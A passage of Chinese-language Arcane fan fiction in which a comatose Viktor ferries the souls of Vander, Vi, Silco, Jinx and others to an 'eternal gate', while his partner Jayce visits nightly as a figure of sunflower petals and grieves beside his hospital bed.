“谁也不知道永恒尽头会有什么,但我个人认为那就是一切结束,再重新开始的循环。”辛吉德并没有正面回答,站起身,目光若有所思地凝视着那扇大门中的一片纯白,“你唯一需要记住的一点是,能让世间所有迷失者得到救赎的媒介是爱。爱能够让你拥有重塑希望的动力,对重要之人的在意,以及面对死亡时的勇气。”
维克托看着他义无反顾地消失在门后,似乎能看到他在生命的最后与女儿重聚时的情景。然而送走第一个灵魂的感觉却远不如他想象地那样轻松,反而沉闷地难受。但还没等他从这种悲伤里缓解过来,第二个灵魂就随之而来。
比起辛吉德,范德尔对于人世的留恋则更加深重,这使得他总是在船只靠岸外出采购时留在船上,似乎想要靠自己解决内心的烦忧。维克托按照他的要求在房间里添置了一些玩具,打造了吧台,为他找来了那副拳套,但这些对于鼓舞他的心情都收效甚微。幸运的是,布里茨的存在可以让他少有地露出笑容。范德尔很喜欢在吧台为他倒上一碗牛奶,在小猫小口啜饮地时候轻柔地抚摸他的后背。
“爆爆小时候也养过一只猫。”他告诉维克托,“她知道克莱格对猫毛过敏,而蔚又不喜欢猫,就把她偷偷养在本索的店里,三天两头就往那儿跑。直到后来艾克不小心说漏了嘴才被我们抓包。最后那只猫还是被送走了,因为吸入了不少裂沟的灰瘴。她还为此难过了好久。”
“我相信她是不会责怪您的。”
“也许吧。”范德尔摇摇头,“这些日子以来我一直在想,如果没有那场意外,有许多误会我们最终都能和解。无论是希尔科,爆爆,还是麦罗和克莱格,他们都是我永远的家人。所以在我还能有意识地说几句话的时候,我就嘱托过她不必再花时间来照顾我。在我走后,蔚是她在这个世界上剩下的唯一亲人,如果她们失去了彼此,剩下那一个的一部分也会永远丢失。”
“那不是你们的错。”他摩挲着手里的相片,这张合影似乎已经随身携带了多年,里面的人像早已模糊不堪,可范德尔还是将目光牢牢锁定在每一张脸上许久,“不是任何人的错。是我的错。”
维克托最终也没能缝补他心里的伤口。但范德尔也不是矫揉造作的类型,他很早就做好了离开的准备。他们沉默着前往永恒之门,另维克托诧异的是,这期间范德尔脸上一直挂着笑容,那不像是在最后的时刻强颜欢笑,而是一种真心的,自豪的笑容。仿佛他是牵着家人的手一起迈向尽头,因此如释重负。
“他们最后都会在您身边的,”维克托向他告别时这么说,“虽然我本人说这些不太够格,但家人们的情谊总能让他们彼此消化误会和隔阂,您不必把错误归咎于自己。”
“你是个善良的孩子。”范德尔只是这么说,拍了拍他胸口衣袋的位置,那里放着他一直珍藏的相片,“如果真有下辈子这种说法,你一定要来找我们所有人一起喝一杯,地点还是福根酒馆。”
布里茨没精打采地趴在他肩膀上,显然在与这个爽朗的旅人建立联系后,他一时半会儿没法接受离别的事实。“我知道,”维克托像哄小孩一样轻拍着他的背,“我也舍不得他。”
蔚的出现让他震惊又心痛。在维克托的印象里,她一直都是健康又积极的女孩,寿终正寝才是她应有的结局。而不是像现在这样,遇上连陪伴一生的拳套也无法解决的难题。蔚对此倒是满不在乎,自来熟的上了船住下,顺带还讲了个冷笑话(“看来这回终于没人跟我抢大床了”)。维克托必须深呼吸才能让自己冷静下来,连他自己都没法接受蔚的死亡,他不明白这个年轻的女孩是怎么做到的。
可是过了几天,他就意识到蔚并没有像她表现得那样坚强。女孩向他要了一个沙袋挂在房间里,说是不能荒废了本事,但直到深夜,维克托还能听见练拳的动静,甚至有时一直持续到第二天清晨。他感觉得到女孩内心的怪兽想要嘶吼,痛斥怒骂命运的不公,但有什么东西又制止了她的发泄,于是最终只能将自己关在名为死亡的囚笼中,独自流泪舔舐伤口。
“有什么心事都可以跟我说,”他在一个难得蔚不用练拳的晚上和她谈心——因为沙袋已经被打坏了。“在这个世界里,把痛苦埋在心底反而会让你更加难受。”
“还是以前那个知心大哥哥。”蔚嗤笑一声,“我没什么心事,有的话也只是水土不服吧,毕竟海上的日子对我来说可真无聊。”
“你是我的朋友,蔚奥莱,”维克托皱起眉头,“我们出生于同一个地方,在同一条街区长大,我们可以互相理解彼此。我——哦,还有布里茨,”小猫从他的胳膊底下钻了出来,“我们都想帮你。”
蔚沉默着看着那只小猫,脸上牵强的笑容慢慢消失了。“爆爆喜欢猫,”她说了和范德尔一样的话,“小时候为了瞒着我她总是去外面捡流浪猫偷偷养,可不到几天就被我发现,那时她可一点都不设防。”
维克托等着她再说点什么,但蔚只是把头扭向一边,拉上兜帽遮住了侧脸。每次她想要销声匿迹时就会这样,但她也很不擅长隐藏自己。
“......你见到范德尔了吗?”很久之后,她小声问。
“见到了。但他已经走了。”维克托也低下了头,瞳孔中映射出夜晚平静的海面,“他临走前也一直念叨你和爆爆,希望你们能一直牵挂扶持彼此。”
他听到啪嗒一声,好像有什么液体滴落在了栏杆上,侧过头去看时发现蔚已经快速地抹掉了那一片湿润。本能告诉自己这时候不该去打扰这个姑娘,否则她心底的野兽就会一触即发,毫无目的地倾泻怒火。于是他静静等待着,也许有那么一个世纪,但维克托在这种事上永远都有耐心。
终于,蔚把兜帽放了下来,像是平生第一次鼓起勇气那般郑重地开口:“送我去永恒之门吧。”
似乎是知道这是最后一次机会,旅程途中蔚也打开了话匣子。一路上她说起了很多过去的事,她讲起带着妹妹和一帮小伙伴背着范德尔去上城偷东西,打群架被扔进少管所,妹妹自从叛逆期后也没少和她起冲突;她讲起自己是如何招惹了那些执法官,又是如何结识的凯特琳,又是如何被说服加入了警队(“你真该看看爆爆见到我穿制服的表情”);她讲起自己和杰斯不打不相识,也是就此和同为祖安人的维克托熟络起来,以至于第一次四人约会时场面非常尴尬......
“——所以说我当时知道你们俩是一对的时候真是不敢相信,而且他居然还能被你训得服服帖帖,所以我一直想吐槽你是哪来的高级训犬师......”
“谁说不是呢。”提到有些幼稚的恋人,维克托也禁不住和她一起笑起来。
“早知道我们就该多来几次这种约会,毕竟我和凯特私下里一直都很喜欢八卦你们俩......”
“凯特琳——她还好吗?”维克托问出了自己一直关心的那个问题,尽管他知道这有些不合时宜。
蔚脸上的表情略微黯淡了一下:“我只希望她能挺过来,最好是把我忘了。”很快她又扯起嘴角,强颜欢笑着讲冷笑话,“要是我死了让她天天以泪洗面什么的,连我自己都要起鸡皮疙瘩了。”
他们在沉默中走完了后半程。蔚心事重重地低着头,以至于到了永恒之门跟前都没有发现,维克托并未提醒,直到她终于反应过来。
“就是这里了吗?”她拍拍衣服上的灰尘站起身,“看来也没有想象的那么气派嘛。”
“是的,但你想要多留一会儿也没关系。”
“还是不了,谢谢,”蔚撇撇嘴,“要知道人一死忘性就大,要不是你在这里,再拖下去我都要以为咱们只是来旅游的。”
维克托只是哀伤地看着她。
“......有时候我还挺后悔的,你知道,比如死前没和爆爆说什么好听的。”她的声音开始发抖,“帮我带句话给她,行吗?要是你有能力办到的话。告诉爆爆我一直都爱她。”
“我会的。”维克托知道自己在说谎。
“我也不是故意要......”蔚剩下的话被闷在了喉咙里,她努力抹了把脸,但已经带上了点鼻音,“可能我还是有点害怕吧。怕见不到你们,怕最后把你们所有人都忘了,甚至连我最亲近的人也不例外。”她感到很难为情,又有点想把兜帽拉上去,“我已经记不得妈妈的样子了......”
维克托鼻尖猛地一酸。在他的大脑作出反应之前,身体就已经下意识地紧紧抱住了蔚。后者显然一愣,但马上也回抱过来,有力的手臂箍地他生疼,可是维克托一点也不在意。他感觉到肩膀的一小片被濡湿了,让自己也忍不住想要落泪。
蔚终于松开他的时候不自在地咳了一声:“你也太瘦了。杰斯到底是怎么照顾你的?”
“相信我,这也是他一直想解决的问题。”维克托笑着说。
他没法给自己太多时间去消化蔚的离去,很快新的旅客又登船了。从那以后时间仿佛按下了加速器,一张张熟悉又陌生的面孔飞速在他眼前掠过:蒙多轰轰烈烈地把自己的房间改造成了手术室,整体还喋喋不休地想要帮维克托修修腿骨,因为他看起来实在是瘦的皮包骨头,直到永远离开的时候还沉浸在他治病救人的幻想里;伊泽瑞尔一边提出稀奇古怪的要求,一边抱怨着说死后不能把生前存下的宝石也一起带来,不然在这种地方他早就能成为亿万富翁了;泽丽是个闲不下来的性子,总是主动提出要帮他的忙,以至于她的力量再肉眼可见地衰弱下去,甚至在终于到达永恒之门时都没法自己站起来;卡蜜尔眼光挑剔,对于维克托在船上的服务总是吝啬称赞,却在最后一晚破天荒地跟他讲了个故事,里面提及的凄美爱情一度让维克托不敢相信是这位严厉的女士经历过的......
这些旅客们来的快去的也快,仿佛昨天才刚登船,今天就已经做好了去永恒之门的准备。然而无论他们是否在生前有过与自己相交的过往,维克托总是会被每个灵魂的故事深深打动,但在送走所有人后他总是会难过至极。他们明明都不是寿终正寝的年纪,本应该幸福平安地度过一生,可是总要被迫离去,而自己除了陪伴却什么也做不到。幸好布里茨还在身边,能让他抚摸到那一抹温暖,让胸口积压的那块巨石不必再那么沉重。
“没有烦恼真是一件好事,对吧?”他经常这样揉搓着布里茨的耳朵喃喃自语。
变故发生在他送走第十个灵魂后。那是船上的旅客只有希尔科,他比其他的灵魂都要沉稳冷静,却也让他变得不容易接近。维克托不愿在夜深人静的时刻还要去打扰他,因此通常他都独自待在房间里,任由雪茄的气味从窗口飘出。
维克托就是在那时看见他的。他正打算走到驾驶室计划下一条航线,却发现船舱里已经坐了一个人。准确来说是个人形的生物。等他走进了,才发现那居然是由千万朵向日葵花瓣组成的一个人体,它们像蝴蝶般上下翻飞,使得这金灿灿的人体也变得生动起来。还没等维克托从惊讶中缓过神来,那人体没有五官的脸便发出了声音。
“晚上好,维。抱歉来晚了,今天路上有点堵车。”
维克托愣在当场。他简直怀疑自己是不是听错了,可是那声音并不是传到了耳中,而更像是在脑海里回想,让他觉得似乎只有自己才能听到。布里茨显然也注意到了,但是他并没有警惕地弓起后背,反而是好奇的凑上前去,伸出猫爪想摸一摸那人体身上的花瓣。
“......杰斯?”仿佛过了很久以后,维克托才听到自己勉强挤出这么一句。
人体好像根本没听到他的话,只是继续用疲惫的语气娓娓道来:“妈妈说我应该每天像这样陪你说说话,否则我会挺不过去。她说的倒是对的,毕竟我这些天的样子确实有些吓人,他们都说我因为你的事崩溃了。但我还撑得住,真的。”
“真的是你吗,杰斯?”维克托不受控制地向他走去,他发现自己的声音不由地哽咽了,“为什么你会在这里?发生了什么事?”
他以为杰斯也是刚来到这里的灵魂,可他又和那些他陪伴,送走过的旅人不一样。杰斯还是忽视了他的话,叹了口气:“我一开始不愿意,因为我觉得无论如何你也没法回应我。医生说你仍然有意识,可以听到我的话,可是如果你醒不过来,这一切又有什么意义呢?”
“可我就在这里啊。你听不见我说话吗?”维克托触到了那由花瓣组成的手指,而还没等他反应过来,下一秒就已经被拉进了一个温暖的怀抱。被无数向日葵花瓣拥抱的奇妙经历还是头一次,可这种感觉居然如此熟悉,让他仿佛能切身感受到爱人暖洋洋的气息,甚至让他产生了想要流泪的冲动。
“真奇怪啊,我看着你很放松地睡着了,呼吸也很平稳,就好像你从来没得过这该死的病一样。”杰斯柔和的语调如同暖流般充斥维克托的全身,“我很久都没见你睡得这么安稳了。这算是好事吗?你会做梦吗?如果会的话,我希望那是个美梦,至少里面没有病痛这种东西。”
“我今晚不能待太久。妈妈的店里要有人帮忙,不过我会给她雇个帮手的,而且明天一早还要去交辞职报告。”杰斯的语气变得不舍,“这样我就能把之后的时间都空出来了。每晚我都过来陪你,就坐在这说说话什么的,像你以前对其他病人一样。只要你不嫌我烦,哈哈。”
“等等——杰斯!”维克托发现那温暖的怀抱消失了,睁眼一看,金黄色的花瓣人体正在逐渐淡去。他惊恐地想要抓住花瓣,可是它们只是飞舞着掠过指尖,很快也一并消失不见了。维克托呆呆地跪坐在又回归黑暗的船舱里,大脑还没有完全适应刚刚发生的这一切。
“他明天还会来的。”
维克托吓了一跳,回过头才发现希尔科不知何时已经站在了身后。他好像刚才目睹了全程,此时很自然地拉过一把椅子坐在他身边。
“我以前也看到过那种东西,可能是刚到这里不久吧。”这个沉稳的男人似乎对一切都了然于胸,“一开始我也不明白那是什么,它不像正常的灵魂,不能对你的存在做出反应,只是一味地自我表达。后来我慢慢弄清楚了,它可能是在现实世界里的一种折射,代表一个曾经和你非常亲近的活人。”
“我见到的是我女儿。”他察觉到维克托惊讶的眼神,耸了耸肩,“她是由勿忘我组成的,不过话倒是比你这位杰斯多不少。一些控诉和抱怨她能颠来倒去地说上几个小时,而我还不能还回去,倒是让她捡了个大便宜。”他举起一只雪茄送到嘴边,却没点燃,“那时候她几乎天天都这样跟我说话,骂我太自以为是地把她培养成这副模样,又扔下一堆烂摊子让她去收拾。说到最后还总是哭。”希尔科摇摇头,声音变得更加低沉,“还是个小孩子。”
“后来呢?她一直都陪着您吗?”
希尔科沉默了一会儿:“没有。她不再出现了。我想是现实世界有些别的东西分散了她的注意力,好让她不必再沉湎于失去我的痛苦。虽然很可惜不能亲眼看到,但她最终能走出来总归是好的。她还小,难道要为我这个老家伙的死难过一辈子?真不像话。”虽然嘴上嘀咕着,但他的嘴角却不由地上扬。
“那位杰斯应该也是你很重要人吧。或许是最重要的,所以他的光芒才会那么强烈。”他说,“珍惜这种时刻吧,小伙子。我们这种断开了和现实连结的人还能听到生者的声音已经是再幸运不过了,就算我们回应不了他们,那也是这种强烈的牵挂才会让我们以这种方式重逢。试着记住他的每一句话,把他在乎你,爱你的事实都记在心里,等你真正离开的时候就不会那么难受了。”
维克托送他回房间睡下。这位一直沉默寡言的旅客在今晚似乎完全卸下了心中的负担,好像不甘的灵魂终于因为和亲人的羁绊变得平静下来,足以让他平静地面对死亡。维克托帮他关上门,等房间的灯熄灭后,才对着黑暗的大海长叹了一口气。
“我倒宁愿他忘记我。”这句话更像是他对自己说的。
自那以后杰斯果然每晚都来,那副由金色向日葵花瓣组成的身躯总是待在驾驶舱里,几乎整晚不眠不休地跟他说话。维克托知道自己无论作何回答他都不会听见,但每次在杰斯说话的时候,他还是会下意识地回答一句,不想让他们的相处只处于单方面状态。
“你比那些病人们的状态要好很多,维。我让医生们给你安排了特殊病房,这里安静一点,而且也没有消毒水的气味。我知道你总是受不了这个。”
“是啊,一闻到就意味着我要去挂水做一堆检查,尤其我总是半夜突发的吐血。”维克托坐在他对面,温柔地抚摸着怀中打盹的布里茨,“谢谢你这么周到。”
“有不少人来看你,妈妈,梅尔,斯凯......”杰斯掰着指头数,“但更多的都是你照顾过的病人家属。亏你以前还总说什么忙也帮不上,你真该听听他们是怎么跟我说的——‘当他们因为生命走到尽头而痛苦不甘的时候,维克托总是能让他们平静下来’,这回你可反驳不了我,毕竟又不只有我一个人说你太谦虚,这样不好。”
“难道要我像你一样,为自己的事业沾沾自喜,在所有亲朋好友中炫耀一遍?”维克托做了个鬼脸,“饶了我吧。我可配不上什么圣人的称号。”
“终于你还是累倒了,像那些病人一样躺在这里。”杰斯叹了口气,他的语气从未这么忧郁过,“医者不能自医原来是这个意思。你总是在为那些病人难过,对待他们比家属还上心,即使他们都和你非亲非故。现在你看不见这一切,要是你知道也有人会为你难过,而且人数还不少,会不会惊讶呢?”
维克托没有回答。他伸过手去,只是想要触碰一下那花瓣样的手指,但这个杰斯在灵魂世界的投影只知道拥抱,又是将大片耀眼温暖的气息裹住了他。联想到刚刚在现实里说的那句话,他并没有感到满足,只是心里涌上一阵苦涩。
“我不值得。”他轻轻回抱杰斯,小声说。
他送走希尔科的那天,杰斯已经用这种方式和他度过了好几个晚上。他不住地向他道歉,因为爱人的打扰,自己都没和他敞开心扉地畅谈一次。
“没什么好抱歉的,小伙子。”希尔科说,“有心爱之人的陪伴是件幸福的事,不要觉得自己配不上。”
维克托苦笑:“我只是想尽我所能。就算没有希望,我也想让你们离开的时候不必那么痛苦。可到头来我总是做不到那么完美。”
“本来就没有完美这个说法。”希尔科不赞成地皱眉,“我这一生失去了那么多,我的兄弟,朋友,有很多人我都没法好好告别。最后我还剩下这一个女儿,可是我能说自己做了一个称职的父亲,让她无忧无虑地长大了吗?总是说着什么理念不同的话,直到最后一刻才理解了我兄弟的想法?我后悔的事可比你多着呢。”
“范德尔从没有怪过您,其他人也没有。您已经做到最好了。”
“我知道,他就这性格,总是扮演老好人却什么也没捞着的角色。”希尔科站起身,笑着拍拍他的肩膀,“看开点,小伙子。余下的日子里和爱人好好过,别把重心都放在我们身上。比如我,你就当成是个迷途知返,要去找老伙计重聚的老滑头罢了。在生死这样的事上我们都看得很开,不过是一场未知的旅程罢了。”
“我昨晚陪你聊到大半夜,就直接在病房睡着了。第二天还被发现我的护士破口大骂了一顿,差点就没法再来看你了。维,是不是这医院里只有你脾气最好?”
“活该,谁叫你私自在病房里过夜的?没被赶出去就不错了。”
“我觉得护士这么生气,可能还因为我把甜奶带进病房了。医院规定不准私自带饮料,可这是你最爱喝的,我想要是你还能闻到味道,说不定就会有反应了。”
“我闻不到,杰斯。肯定是你茴香粉放的还不够多。”
“我记得你还有意识的时候就不喜欢医院,被强行按在床上还要抱怨着无聊,想赶快回去工作,可结果就这样一睡不醒。看来也是巨神峰都看不下去你这么折腾自己了,在好起来之前要把你这辈子缺的觉都补回来。”
“可不是,还特意给我放了无期长假让我在海上冒险呢,你要是知道一定会羡慕死的。”
他已经越来越依赖杰斯每晚的光顾了,然而维克托在内心深处告诉自己这不是个好兆头,因为他在这个世界已经停留了太久,永恒之光的力量似乎在以不可察觉的速度衰弱下去。这倒不是说那些病痛又回到了身上,但他确实在慢慢感到疲惫,一切终归会以平静的悲剧结尾。与爱人单方面的聊天大部分分散了注意力,甚至叫他无从应对下一位乘客。不过,这个灵魂倒是非常主动。
“我第一次见你就知道了,你,还有蔚,希尔科他们,说的最多的一句话就是没关系,总是会好起来的!”金克丝夸张地模仿着他的语气,“都是屁话。老是说这种话的人都容易短命,果不其然你们都死在了我前头。知道吗?我私下里叫你幸运饼干,因为你掰开来永远都能看见一句空话,好像觉得这样就可以抚慰我幼小脆弱的心灵了。”
“你的思维很快,而且跳跃,连我也没法跟上。”维克托带着欣赏的目光看着她,“说那样的话只是为了让患者不必在离开时过于难以忍受,所以才给出这种看似虚伪的承诺,爆爆。”
“呃!少用这名字跟我套近乎。爆爆早死啦!”
“我的重点是,你身上承受的痛苦对于你这个年龄的孩子来说非常煎熬,但是你依然挺了过去,在我看来已经非常了不起了。在经历了所有这一切后,你最不需要的就是无用的安慰,所以这种时候我反而要对你说真话。”
维克托把手里的画着涂鸦的小猴子玩具小心地收起来,这是金克丝早些时候送给他的:“我要对你说的是,不,这一切不会好起来。命运夺走了许多本来属于你的东西,把完整的你撕成碎片,再拼成一个完全不同的人。而所有能与你感同身受的人都已经离开,你只能一个人走完最后的旅程。像我这样的人想要给予安慰,可在你看来不过是谎言。真相往往残酷,人们宁愿拥抱虚假的美好,但我知道你不会逃避这一切。”
金克丝若有所思地盯着他看了一会儿,随后脸上露出了恶作剧般的笑容。
“你听听我的故事吧,小饼干。”尽管偌大的船上只有两人一猫,她还是凑近了维克托,用悄悄话的音量叙述,“我为什么变成现在这样大家都知道了,但是注意那些没提及的部分!首先是一场矿井的意外塌陷把范德尔,我那优柔寡断的老父亲一号给带走了。走之前他也跟你们一样说了些尽是骗人的鬼话,包括嘱咐蔚要好好照顾我。拜托——我用得着她来照顾?她自己都脆弱地一碰就碎了,尤其是范德尔走后她病情恶化的速度就像野火飞起来一样快,我还好心想拉她一把呢,结果我这位好姐姐就迫不及待地要去跟老父亲团聚了!你说这种情节是不是小说里才有?”
她不等维克托回答,又接着用飞快的语速说下去:“可是你猜怎么着?希尔科,我的老父亲二号,邀请我以后就和他一起生活。他可是个狡猾的老狐狸,最擅长坑蒙拐骗了,说是什么要收养我,实际上还不到几个月就被□□交火轰成渣啦!你们所有人是不是都一样,嘴上尽是会说漂亮话,直到死的时候还不停安慰我,‘金克丝,会好起来的’,‘金克丝,我们都会一直陪着你的’,是不是这样?”
“后来的一切倒是变得轻松许多了,就像这样,嘭!”她用手指着太阳穴,模仿出一声枪响,“我觉得他们废了老大劲儿才把那颗子弹取出来,因为它嵌地挺深,直到现在都还疼呢。不过你们这点上还真没说错,死亡一点儿也不可怕。幸亏我已经提前把伊莎支走了,有赛薇卡陪着她,我可受不了看她哭鼻子。比她还小的小屁孩儿都不会哭鼻子。”
“他们爱你,你知道的。”维克托搭住她的肩膀,“家人是一种美好而强大的存在,即使是再多的矛盾和误会都可以和解。这意味着无论你们在路上争吵打闹多少次,最后都会在终点前和解。”
“又说大话。”金克丝翻了个白眼拍开他的手,语气却变得缓和了很多,“他们在走之前有提到我吗?”
“每个人都提到了你。他们一直都爱着你,为你骄傲,因为他们是你的家人,家人永远不会否定和质疑你。”
有好长一段时间他们就这样沉默地对坐着,他看到金克丝粉紫色的瞳孔里燃烧着一种名为愤怒的火苗,但这火苗在随着他的话慢慢平息,最后融进一片平静而悲伤的蓝色中。
“我还是去收拾收拾吧,”她突然站起身来,头也不回地往房间走去,“我讨厌这种家人团聚矫情的场景,不过在那之前我还有点时间准备下演讲稿,我有一大堆控告还没来得及说呢。”
维克托回到船上时已是深夜。送走金克丝不是什么麻烦的工作,尤其是她临走时是真心地感到快乐(“来抱一个,小饼干!”),可不知为何,他的状态已经明显地退步了很多,像是连轴工作了好几天后不得不长期休整,让他怀疑自己还有没有力气接任下一位乘客。
杰斯一如既往地等在驾驶舱里。今天他显得兴致勃勃,连身上的花瓣也舞动地更加欢快。
“我今天带了家庭相册来,维。”他迫不及待地说,“不知道你能不能看到,但要是听我讲讲以前的这些说不定也会让你开心起来呢。我们来看第一张——”
随着书页翻动的声音,维克托眼前真的出现了相册上的画面,就像是幻灯片投影一样,只不过没有播放源和边界,这情景只呈现在他自己的视线里。他心里暗自庆幸,似乎自己与现实世界的联系又更近了一步。
“这张是我们俩毕业的时候拍的。”杰斯说,“只不过那时我才只是本科,你都已经读完博士了。想想那时候我为了追求你经常翘课跑去你们学院,搞得所有人都知道‘那个工程学的杰斯又来了’。嘿,我那时可真难缠,是不是?”
“是啊,不论我去哪里你都想跟来,像个鬼影子一样甩都甩不掉。”维克托嘴上抱怨着,眼里却是藏不住的笑意,“那时你还一直以为只有你自己单方面地喜欢我,也不想想为什么我总是在允许你接近。”
“那时你可真是个大忙人,又要做实验,又要考虑找工作的事。”杰斯有些不好意思地笑起来,“不过谁都没想到你后来去做了临终关怀,就连教授也说以你的能力有更多更好的选择。”说到这里,维克托似乎感到他露出了感慨的笑容,“我都以为你不会答应交往的事了,但我们居然一起走了这么久,这简直是我人生中最幸运的一次——在遇到你之前都没有过呢。”
他翻到下一张,维克托眼中的画面变成了一间病房,一群人围坐在床前分享着蛋糕,互相庆祝:“这
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是你接手第一个病人不久。抱歉我把她的名字忘了,因为你们总是在病房里待那么久,还要陪她说很多临终安慰的话,都抽不出时间来陪我了。”
“她叫奥莉安娜。”维克托听着他有些委屈的语气不由觉得好笑,“而且这是我的工作,你让我扔下病人去跟你约会是什么意思?只能说明你还幼稚的很。”
“不过病人自己已经接受了,你却总是为她难过,要我说你就是太愿意为别人着想了,这反而会把你压垮的。”杰斯不赞同地摇了摇头,“后来我们听说她过生日,于是提前准备了蛋糕和彩糖,等着给她个惊喜——好吧,主要是想给你个惊喜。”他用金黄色的手指着照片上女孩的笑颜,“你一开始还不赞成呢,但这姑娘笑得可开心了——我想她离开的时候肯定也没有遗憾。所以你可别把压力都放在自己肩上,我相信病人们都不会责怪你的。”
似乎是感觉到了维克托在现实和灵魂中的双重沉默,他止住话头,接着翻到下一张——他躺在长椅上午休,手里还拿着一本摊开了的书,而布里茨趴在他的大腿上舒服地打着呼噜。显然这是杰斯偷偷拍下来的。
“这是你把布里茨带回家不久之后的。”他似乎对自己的拍摄手法很满意,“他真是只神奇的小猫,好像可以听懂人话,而且不需要项圈也从来不会自己走丢。似乎你们俩命中注定地有缘。”他的声音变得格外柔软,“见过布里茨的人没有不喜欢他的,可他就跟你最亲,无论干什么都要粘着你。你工作的时候不能带他进病房,他就待在我身边乖乖在外面等,我这辈子也没见过这么通人性的小猫。”
“他在说你呢。”维克托笑着摸了摸身边布里茨毛茸茸的后背,小猫高兴地用爪子握住他的一根手指,“不过你身上的更多秘密他都不知道,咱们约好了可不能随便告诉别人,就是杰斯也不行。”
“自从你躺在病床上长眠不醒后,布里茨也一起消失了。”杰斯失落地垂下头,“他们都说猫是灵性的动物,感觉到主人不在了之后也会主动离开。但我一直相信他是去找你了,如果真的存在精神世界,我觉得布里茨一定可以做到。我不知道你的意识现在在哪里,维,但我希望布里茨能陪着你,至少你不会孤单。”
“他和我在一起呢。”维克托把布里茨举到杰斯跟前,尽管他知道后者不可能看见,“有时候你的直觉还真是比我想象地要准。”
杰斯又翻了一张,这是两人和蔚和凯特琳共度下午茶的场景,也是他们为数不多的四人约会。画面中杰斯因为说了句笑话,两个女人都笑得特别开心,维克托坐在他身边小口抿着热茶,嘴角勾起一丝若有若无的笑意。
“这还是我们四个第一次约会呢。当时我确实没想到凯特的女友也是个祖安人,而且你和蔚的性格和形象又差别这么大。”杰斯自嘲地笑笑,“我记得他们两个一直说,你实在太瘦了,都是我没把你喂好。拜托,要是你真的能按照我制定的食谱来,你现在还会躺在这儿吗?”
“我自己还巴不得变重一点呢。”维克托在心里默默翻了个白眼,“但你们总是爱操心这个,我看起来难道就这么弱不禁风?”
“凯特最近的状态一直很不好。”杰斯收起了笑容,语气也变得沉重了,“女友的死对她打击太大了,现在一整天都把自己关在房间里,拒绝和所有人交流,也包括我。我都不知道她是不是真的能走出来。”他垂下头,无助地用胳膊支着脑袋,“可是我也没办法分出太多精力去关心她,因为我也能感到我自己在失去你。我现在每天坐在这里和你说话,甚至还把你根本看不到的相册带过来,而你好像铁了心要躲着我似的,让我觉得这些事全是徒劳无功。”
“......那不是徒劳无功。你已经做到最好了。”维克托难过地看着那个金黄色的人影,现在那些花瓣几乎都安静了,“只是我自己不争气。”
他们无言相顾了许久,直到杰斯又翻到下一张。
他惊讶地发现这也是杰斯的偷拍,是在他病倒之后拍的。照片中的自己脆弱不堪,身上还连着许多医院仪器,用一只枯瘦的手抓着一本书,在昏昏欲睡的势头下努力想把它读下去。窗外的阳光照进来,在自己这个虚弱的病人身上也没能焕发生机。他不理解杰斯为什么要拍下这张——这种他最不愿意被他看到的样子。
“你住院以后睡觉的时间一天比一天长,直到有一天再也没醒来。”杰斯的声音开始哽咽,“有一次我去给你送饭,看到这副景象,我当即觉得应该保留下来。如果你能看到这张的话,恐怕你会说这是一个苟延残喘的将死之人最后的妄想和挣扎,可是在我眼里,你却是那么——美。”他用手指摩挲着相片里维克托苍白的脸庞,“尽管身上连着那么多器械,尽管虚弱地像下一秒就会晕倒,可是你还是努力地想要读书,想要拼命燃烧生命的余辉。你看起来是那么神圣,那么坚定,让我只看到一个不肯服输的灵魂。我——”他说不下去了,维克托听见了轻微的抽泣声。
为什么你会觉得这很美呢?他不解又忧伤地看着杰斯想。美这个词从来就跟我不搭边,尤其是在被病痛折磨的这几年来,它带走了我的体魄,我的容貌,我所有的精神力量,让我变成一具干瘪的空壳,只是因为不肯向命运认输而顽固不化。可对于你,我的爱人来说,你为什么会喜欢这样的我呢?即使在我年华逝去,青春不再,与生者的世界逐渐断连的时候?我根本就不像你心目中那样完美。
“一直以来我都心存希望,幻想着你能醒来,可我知道我是在骗自己。”杰斯不停抹着眼泪,“医生说你基本上已经无力回天了,现在这样只不过是吊着一口气,让绝望延长下去。是我自己固执地想要抓住不放,我就是接受不了没有你的世界......”他必须不停地压低声音,才能让自己的哭腔不那么明显,“我是个自私的混蛋,维,我应该放你走的......只是,如果有前世今生这种说法的话,我不知道......”他拼命咬紧牙关,努力不让泪水打湿衣服,“我们下辈子......还能不能,在一起......”
“杰斯......”维克托感到眼圈泛红。眼前这个金色的人体代表着他的爱人,本该是阳光又积极的象征,可此时他却在哭泣,为自己哀悼。他不知道该说什么话来安慰杰斯,往常他的工作都是陪着将死之人开解他们,但是杰斯是一个健全又强壮的生命,注定会拥有长寿的结局。而在年轻时那样热烈地陷入爱情,又该如何在失去爱人后回归原本的生活?“别这样......”他只能难过地抱住那个金色的形体,祈祷着自己是否有力量传达到他所属的世界。
“维,你哭了?”杰斯突然睁开怀抱,慌乱地看着他不知所措。维克托猜想是现实世界昏迷的自己流下了眼泪,只是那更接近生理反应,而不能代表他会苏醒的信号。但杰斯还是伸手拭去他眼角的泪水,生怕自己做错了事一样。
“对不起,我不该说这些的。”他吸了吸鼻子,努力让自己的语气听起来轻松些,“我本来是打算聊聊过去能让你开心些,果然又控制不住自己了。”他擦干眼泪,试着转变了一个更轻松的话题,“放心吧,其实这几天我也跟妈妈说了不少你的事,比当初都平静很多了。我只是......太想留住你了,哪怕知道无论如何我也得放你离开。但别担心,我会调整好的。”
维克托愣怔地看着他,明明上一秒他的爱人还在因为自己的逝去而悲痛欲绝,可是现在仿佛换了一个人,成熟地让他有些不敢相信。
“我在很多时候都太担心你的病情了,你也总说我像个小孩子一样只知道伤心,这样太幼稚了。”杰斯整理了一下头发,努力让自己保持微笑,“妈妈说你不会想看见我的眼泪,这样你离开的时候也不会安心。所以我从现在起会一直微笑的,保证不再难过了。你说过你喜欢我的笑容,因为这也能让你开心起来。”
“哦,杰斯,”维克托后面想说的话都被哽在了喉咙里,他想伸出手再去拥抱他,却颤抖地抬不起手,而此时他早已泪流满面。“哦,杰斯,”除了这一句他再也说不出其他的话了,只知道单调地重复着,好像这样就能让现实里的自己醒来。“哦,杰斯。”他这辈子从未这么难过,就连在现实世界和灵魂世界送走他的病人们都不会这么难过。最后他只能把脸埋到掌心里,泣不成声。
他感觉到有什么东西在蹭着自己的裤腿,睁开模糊的泪眼,发现是布里茨在轻轻在脚边摩擦。于是头一次,维克托就这样不顾形象地捧起小猫,任由泪水渗透进他姜黄色的毛发里。
“我该怎么办,布里茨?”他这样喃喃问道,双手控制不住地发抖,仿佛把面前的宠物当成了仅剩的成熟依靠。
布里茨只是安静地轻舔他的眼角,在沉默中为主人感到忧伤。
“你看起来很疲惫,亲爱的旅人。”迦娜说。
